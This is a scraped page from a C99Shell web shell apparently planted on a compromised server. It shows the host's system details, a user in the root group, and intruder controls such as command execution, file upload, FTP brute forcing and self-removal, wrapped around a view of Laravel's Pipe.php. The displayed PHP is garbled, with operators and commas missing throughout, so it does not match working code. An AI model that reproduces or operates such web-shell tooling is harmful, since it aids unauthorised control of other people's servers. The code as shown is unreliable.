!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Process/   drwxr-xr-x
Free 28.61 GB of 117.98 GB (24.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Pipe.php (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Process;

use 
Illuminate\Support\Collection;
use 
InvalidArgumentException;

/**
 * @mixin \Illuminate\Process\Factory
 * @mixin \Illuminate\Process\PendingProcess
 */
class Pipe
{
    
/**
     * The process factory instance.
     *
     * @var \Illuminate\Process\Factory
     */
    
protected $factory;

    
/**
     * The callback that resolves the pending processes.
     *
     * @var callable
     */
    
protected $callback;

    
/**
     * The array of pending processes.
     *
     * @var array
     */
    
protected $pendingProcesses = [];

    
/**
     * Create a new series of piped processes.
     *
     * @param  \Illuminate\Process\Factory  $factory
     * @param  callable  $callback
     */
    
public function __construct(Factory $factory, callable $callback)
    {
        
$this->factory $factory;
        
$this->callback $callback;
    }

    
/**
     * Add a process to the pipe with a key.
     *
     * @param  string  $key
     * @return \Illuminate\Process\PendingProcess
     */
    
public function as(string $key)
    {
        return 
tap($this->factory->newPendingProcess(), function ($pendingProcess) use ($key) {
            
$this->pendingProcesses[$key] = $pendingProcess;
        });
    }

    
/**
     * Runs the processes in the pipe.
     *
     * @param  callable|null  $output
     * @return \Illuminate\Contracts\Process\ProcessResult
     */
    
public function run(?callable $output null)
    {
        
call_user_func($this->callback$this);

        return (new 
Collection($this->pendingProcesses))
            ->
reduce(function ($previousProcessResult$pendingProcess$key) use ($output) {
                if (! 
$pendingProcess instanceof PendingProcess) {
                    throw new 
InvalidArgumentException('Process pipe must only contain pending processes.');
                }

                if (
$previousProcessResult && $previousProcessResult->failed()) {
                    return 
$previousProcessResult;
                }

                return 
$pendingProcess->when(
                    
$previousProcessResult,
                    fn () => 
$pendingProcess->input($previousProcessResult->output())
                )->
run(output$output ? function ($type$buffer) use ($key$output) {
                    
$output($type$buffer$key);
                } : 
null);
            });
    }

    
/**
     * Dynamically proxy methods calls to a new pending process.
     *
     * @param  string  $method
     * @param  array  $parameters
     * @return \Illuminate\Process\PendingProcess
     */
    
public function __call($method$parameters)
    {
        return 
tap($this->factory->{$method}(...$parameters), function ($pendingProcess) {
            
$this->pendingProcesses[] = $pendingProcess;
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--